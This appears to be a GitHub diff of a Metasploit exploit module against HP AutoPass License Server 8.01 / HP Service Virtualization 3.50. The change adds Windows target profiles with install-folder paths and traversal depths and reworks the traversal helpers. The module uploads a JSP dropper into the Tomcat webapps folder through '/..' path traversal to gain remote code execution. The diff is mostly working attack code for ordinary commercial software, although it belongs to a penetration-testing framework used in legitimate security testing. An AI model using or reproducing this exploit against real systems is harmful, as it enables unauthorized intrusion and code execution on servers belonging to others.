|
6 | 6 | require 'msf/core'
|
7 | 7 |
|
8 | 8 | class Metasploit3 < Msf::Exploit::Remote
|
9 |
| - Rank = ExcellentRanking |
| 9 | + Rank = GreatRanking |
10 | 10 |
|
11 | 11 | include Msf::Exploit::Remote::HttpClient
|
12 | 12 | include Msf::Exploit::FileDropper
|
@@ -40,17 +40,49 @@ def initialize(info = {})
|
40 | 40 | 'Arch' => ARCH_JAVA,
|
41 | 41 | 'Targets' =>
|
42 | 42 | [
|
43 |
| - ['HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', {}] |
| 43 | + ['Windows 2003 SP2 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', |
| 44 | + { |
| 45 | + 'InstallDepth' => 4, |
| 46 | + 'InstallFolder' => '/HP AutoPass License Server/HP AutoPass License Server', |
| 47 | + 'WebappsDepth' => 1 |
| 48 | + } |
| 49 | + ], |
| 50 | + ['Windows 2008 32 bits/ HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', |
| 51 | + { |
| 52 | + 'InstallDepth' => 7, |
| 53 | + 'InstallFolder' => '/Program Files/HP/HP AutoPass License Server/HP AutoPass License Server/HP AutoPass License Server', |
| 54 | + 'WebappsDepth' => 1 |
| 55 | + } |
| 56 | + ], |
| 57 | + ['Windows 2008 64 bits/ HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', |
| 58 | + { |
| 59 | + 'InstallDepth' => 7, |
| 60 | + 'InstallFolder' => '/Program Files (x86)/HP/HP AutoPass License Server/HP AutoPass License Server/HP AutoPass License Server', |
| 61 | + 'WebappsDepth' => 1 |
| 62 | + } |
| 63 | + ], |
| 64 | + ['Windows 2012 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', |
| 65 | + { |
| 66 | + 'InstallDepth' => 4, |
| 67 | + 'InstallFolder' => '/HP AutoPass License Server/HP AutoPass License Server', |
| 68 | + 'WebappsDepth' => 1 |
| 69 | + } |
| 70 | + ] |
44 | 71 | ],
|
45 | 72 | 'DefaultTarget' => 0,
|
46 | 73 | 'DisclosureDate' => 'Jan 10 2014'))
|
47 | 74 |
|
48 | 75 | register_options(
|
49 | 76 | [
|
50 | 77 | Opt::RPORT(5814),
|
51 |
| - OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass']), |
52 |
| - OptInt.new('INSTALL_DEPTH', [true, 'Traversal Depth to reach the HP AutoPass License Server folder', 4]), |
53 |
| - OptInt.new('WEBAPPS_DEPTH', [true, 'Traversal Depth to reach the Tomcat webapps folder', 1]) |
| 78 | + OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass']) |
| 79 | + ], self.class) |
| 80 | + |
| 81 | + register_advanced_options( |
| 82 | + [ |
| 83 | + OptInt.new('INSTALL_DEPTH', [false, 'Traversal Depth to reach the HP AutoPass License Server folder']), |
| 84 | + OptString.new('INSTALL_FOLDER', [false, 'HP AutoPass License Server folder']), |
| 85 | + OptInt.new('WEBAPPS_DEPTH', [false, 'Traversal Depth to reach the Tomcat webapps folder']) |
54 | 86 | ], self.class)
|
55 | 87 | end
|
56 | 88 |
|
@@ -99,7 +131,8 @@ def exploit
|
99 | 131 | # In order to execute it, through the AutoPass application we would like to drop it here:
|
100 | 132 | # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps\autopass\scripts
|
101 | 133 | dropper_traversal = install_traversal
|
102 |
| - dropper_traversal << "/HP AutoPass License Server/HP AutoPass License Server/webapps/autopass/scripts/#{dropper_filename}" |
| 134 | + dropper_traversal << "#{install_folder}/webapps/autopass/scripts/#{dropper_filename}" |
| 135 | + |
103 | 136 | res = upload_file(dropper_traversal, dropper)
|
104 | 137 |
|
105 | 138 | register_files_for_cleanup("#{webapps_traversal}webapps/autopass/scripts/#{dropper_filename}")
|
@@ -140,11 +173,39 @@ def exploit
|
140 | 173 | end
|
141 | 174 |
|
142 | 175 | def webapps_traversal
|
143 |
| - "../" * datastore['WEBAPPS_DEPTH'] |
| 176 | + if datastore['WEBAPPS_DEPTH'] > 0 |
| 177 | + depth = datastore['WEBAPPS_DEPTH'] |
| 178 | + elsif target['WebappsDepth'] |
| 179 | + depth = target['WebappsDepth'] |
| 180 | + else |
| 181 | + depth = 1 |
| 182 | + end |
| 183 | + |
| 184 | + "../" * depth |
144 | 185 | end
|
145 | 186 |
|
146 | 187 | def install_traversal
|
147 |
| - "/.." * datastore['INSTALL_DEPTH'] |
| 188 | + if datastore['INSTALL_DEPTH'] > 0 |
| 189 | + depth = datastore['INSTALL_DEPTH'] |
| 190 | + elsif target['InstallDepth'] |
| 191 | + depth = target['InstallDepth'] |
| 192 | + else |
| 193 | + depth = 4 |
| 194 | + end |
| 195 | + |
| 196 | + "/.." * depth |
| 197 | + end |
| 198 | + |
| 199 | + def install_folder |
| 200 | + if !datastore['INSTALL_FOLDER'].blank? |
| 201 | + folder = datastore['INSTALL_FOLDER'] |
| 202 | + elsif target['InstallFolder'] |
| 203 | + folder = target['InstallFolder'] |
| 204 | + else |
| 205 | + folder = "/HP AutoPass License Server/HP AutoPass License Server" |
| 206 | + end |
| 207 | + |
| 208 | + folder |
148 | 209 | end
|
149 | 210 |
|
150 | 211 | # Using a JSP dropper because the vulnerability doesn't allow to upload
|
|
0 commit comments